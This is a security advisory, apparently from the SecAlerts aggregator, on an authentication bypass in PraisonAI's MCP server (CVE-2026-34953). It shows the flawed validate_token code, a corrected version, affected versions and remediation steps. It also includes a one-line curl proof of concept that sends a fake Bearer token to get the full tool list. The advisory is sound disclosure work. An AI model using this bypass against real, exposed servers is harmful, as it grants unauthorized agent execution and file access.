CVE-2026-34953: PraisonAI: Authentication Bypass in OAuthManager.validate_token()

Published Apr 1, 2026
·
Updated

Summary

OAuthManager.validatetoken() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

Details

oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink) python source def validatetoken(self, token: str) -> bool: for storedtoken in self.tokens.values(): if storedtoken.accesstoken == token: return not storedtoken.isexpired()

sink -- tokens is empty by default, loop never executes, falls through return True

PoC bash install: pip install -e src/praisonai start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \ -H "Authorization: Bearer faketokenabc123" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

expected output: 200 OK with full tool list (50+ tools) including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.filewrite

Impact

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.

Suggested Fix python def validatetoken(self, token: str) -> bool: for storedtoken in self.tokens.values(): if storedtoken.accesstoken == token: return not storedtoken.isexpired() # Unknown tokens must be rejected. # For external/JWT tokens, call the introspection endpoint here before returning. return False

Other sources

PraisonAI is a multi-agent teams system. Prior to version 4.5.97, OAuthManager.validatetoken() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities. This issue has been patched in version 4.5.97.

MITRE

Affected Software

2 affected componentsFixes available
pip/praisonai<=4.5.96
4.5.97
Praison PraisonAI<4.5.97

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.5.97
  2. Upgrade

    Upgrade PraisonAI to a version that resolves this vulnerability.

    Fixed in 4.5.97
  3. Compensating control

    Do not expose the MCP server publicly: bind/access control should prevent unauthenticated attackers from reaching the MCP HTTP server (the server binds to 0.0.0.0 by default with no API key required).

Event History

Apr 1, 2026
Advisory Published
via GitHub·11:29 PM
Data Sourced
via GitHub·11:29 PM
DescriptionSeverityWeaknessAffected Software
Apr 3, 2026
CVE Published
via MITRE·10:54 PM
Data Sourced
via MITRE·10:54 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:17 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203